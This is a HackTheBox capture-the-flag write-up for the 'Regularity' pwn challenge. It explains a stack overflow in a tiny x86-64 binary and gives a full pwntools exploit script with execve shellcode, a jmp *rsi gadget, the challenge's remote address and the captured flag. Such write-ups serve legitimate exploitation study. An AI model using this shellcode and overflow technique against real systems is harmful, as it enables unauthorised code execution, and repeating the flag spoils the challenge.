$ cat writeup.md…
$ cat writeup.md…
hackthebox
Task: Exploit a minimal static x86-64 binary with executable stack and no canary. Solution: Overflow a 256-byte buffer via 272-byte read to overwrite the return address with a jmp *rsi gadget at 0x401041, which jumps to shellcode placed at the buffer start since RSI is preserved after the read syscall.
Nothing much changes from day to day. Famine, conflict, hatred - it's all part and parcel of the lives we live now. We've grown used to the animosity that we experience every day, and that's why it's so nice to have a useful program that asks how I'm doing. It's not the most talkative, though, but it's the highest level of tech most of us will ever see...
Remote: nc 94.237.61.248 42609
regularity - ELF 64-bit LSB executable, x86-64, statically linked, not strippedflag.txt - Fake flag for local testing$ checksec regularity
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
Key observations:
The binary is a minimal assembly program:
_start (0x401000): - Prints "Hello, Survivor. Anything new these days?" - Calls read function - Prints "Yup, same old same old here as well..." - Jumps to exit via jmp *rsi read (0x40104b): subq $0x100, %rsp # Allocate 256 bytes on stack movl $0x0, %eax # syscall number 0 (read) movl $0x0, %edi # fd = 0 (stdin) leaq (%rsp), %rsi # RSI = buffer address on stack movl $0x110, %edx # count = 272 bytes <-- VULNERABILITY! syscall addq $0x100, %rsp # Restore stack (256 bytes) ret # Return to caller write (0x401043): - Standard write syscall wrapper exit (0x40106f): - exit(0) syscall
Classic stack buffer overflow in the read function:
| Stack Layout | Size |
|---|---|
| Buffer | 256 bytes (0x100) |
| Saved RBP | 8 bytes |
| Return Address | 8 bytes |
The function:
At address 0x401041 there's a powerful gadget:
0x401041: jmp *rsi
Why this matters:
read syscall, RSI still points to our input buffer+------------------+
| Shellcode | <- RSI points here after read
| (29 bytes) |
+------------------+
| NOP sled |
| (227 bytes) |
+------------------+
| jmp *rsi gadget | <- Return address (0x401041)
| (8 bytes) |
+------------------+
Flow: read() returns -> jmp *rsi -> shellcode executes
jmp *rsi gadget/bin/sh#!/usr/bin/env python3 """ Regularity - HackTheBox PWN Stack buffer overflow with jmp *rsi gadget Vulnerability: read() allocates 256 bytes but reads 272 bytes Exploitation: Overwrite return address with jmp *rsi gadget to execute shellcode """ from pwn import * context.arch = 'amd64' context.log_level = 'info' # execve("/bin/sh") shellcode - 29 bytes # Source: shell-storm.org/shellcode/files/shellcode-905.html shellcode = ( b"\x6a\x42" # push 0x42 b"\x58" # pop rax b"\xfe\xc4" # inc ah (rax = 0x3b = execve) b"\x48\x99" # cqo (rdx = 0) b"\x52" # push rdx (null terminator) b"\x48\xbf\x2f\x62\x69" # movabs rdi, "/bin//sh" b"\x6e\x2f\x2f\x73\x68" b"\x57" # push rdi b"\x54" # push rsp b"\x5e" # pop rsi b"\x49\x89\xd0" # mov r8, rdx b"\x49\x89\xd2" # mov r10, rdx b"\x0f\x05" # syscall ) # Gadget: jmp *rsi at 0x401041 # After read syscall, RSI still points to our buffer JMP_RSI = 0x401041 def exploit(target): if target == 'local': p = process('./regularity') else: p = remote('94.237.61.248', 42609) # Build payload payload = shellcode # Shellcode at buffer start (29 bytes) payload = payload.ljust(256, b'\x90') # Pad to 256 bytes with NOPs payload += p64(JMP_RSI) # Overwrite return address log.info(f"Payload size: {len(payload)} bytes") log.info(f"Shellcode size: {len(shellcode)} bytes") log.info(f"Gadget address: {hex(JMP_RSI)}") # Send payload p.recvuntil(b'days?') p.send(payload) # Wait for shell sleep(0.5) # Get flag p.sendline(b'cat flag.txt') response = p.recvall(timeout=3) print(response.decode()) p.close() if __name__ == '__main__': import sys target = sys.argv[1] if len(sys.argv) > 1 else 'remote' exploit(target)
$ python3 solve.py remote [+] Opening connection to 94.237.61.248 on port 42609: Done [*] Payload size: 264 bytes [*] Shellcode size: 29 bytes [*] Gadget address: 0x401041 HTB{juMp1nG_w1tH_tH3_r3gIsT3rS?_c144acda6e91bbbabebe919c14ce1187}
Use this technique when you see:
jmp *reg or call *reg gadgets availableChallenge name hint: "Regularity" refers to the predictable/regular state of registers after syscalls - RSI preservation is the key insight
Syscall register preservation: Linux syscalls preserve RSI, making it a reliable pointer to user-controlled data
Minimal binaries: Simple assembly programs often lack modern protections, making them ideal for learning classic exploitation techniques
Gadget hunting: Even tiny binaries can contain useful gadgets - jmp *rsi is powerful when you control the buffer and know register state
Static analysis first: Understanding the exact buffer sizes and read limits from disassembly is crucial for precise exploitation
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar